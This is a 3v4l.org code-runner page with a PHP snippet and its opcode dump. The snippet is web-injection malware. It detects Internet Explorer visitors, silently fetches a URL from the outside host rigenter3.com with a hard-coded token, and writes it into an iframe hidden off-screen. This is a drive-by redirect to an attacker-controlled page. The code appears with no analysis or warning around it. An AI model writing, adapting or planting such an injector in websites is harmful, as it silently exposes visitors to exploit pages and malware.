3v4l.org

run code in 500+ PHP versions simultaneously
<?php if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'msie','windows nt 6.3') !== false) { $way = 'http://rigenter3.com/api.php?apitoken=l3SKfPrFJx_ESYjDJunDTqxXPBbaHE3SzYyamqWc'; $fd = @file($way); if ($fd !== false) { if (isset($fd[0])) { echo('<iframe src="'.$fd[0].'" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>'); } } } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 24
Branch analysis from position: 9
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 24
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 20, Position 2 = 24
Branch analysis from position: 20
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 24
Branch analysis from position: 24
Branch analysis from position: 24
filename:       /in/kLVXU
function name:  (null)
number of ops:  25
compiled vars:  !0 = $way, !1 = $fd
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                                   'strtolower'
          1        FETCH_R                          global              ~2      '_SERVER'
          2        FETCH_DIM_R                                          ~3      ~2, 'HTTP_USER_AGENT'
          3        SEND_VAL                                                     ~3
          4        DO_ICALL                                             $4      
          5        FRAMELESS_ICALL_3                strpos              ~5      $4, 'msie'
          6        OP_DATA                                                      'windows+nt+6.3'
          7        TYPE_CHECK                                      1018          ~5
          8      > JMPZ                                                         ~6, ->24
    4     9    >   ASSIGN                                                       !0, 'http%3A%2F%2Frigenter3.com%2Fapi.php%3Fapitoken%3Dl3SKfPrFJx_ESYjDJunDTqxXPBbaHE3SzYyamqWc'
    5    10        BEGIN_SILENCE                                        ~8      
         11        INIT_FCALL                                                   'file'
         12        SEND_VAR                                                     !0
         13        DO_ICALL                                             $9      
         14        END_SILENCE                                                  ~8
         15        ASSIGN                                                       !1, $9
    6    16        TYPE_CHECK                                      1018          !1
         17      > JMPZ                                                         ~11, ->24
    8    18    >   ISSET_ISEMPTY_DIM_OBJ                             0          !1, 0
         19      > JMPZ                                                         ~12, ->24
   10    20    >   FETCH_DIM_R                                          ~13     !1, 0
         21        CONCAT                                               ~14     '%3Ciframe+src%3D%22', ~13
         22        CONCAT                                               ~15     ~14, '%22++width%3D%22468%22+height%3D%2260%22+style%3D%22position%3Aabsolute%3Bleft%3A-10000px%3B%22%3E%3C%2Fiframe%3E'
         23        ECHO                                                         ~15
   14    24    > > RETURN                                                       1

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
160.66 ms | 2705 KiB | 15 Q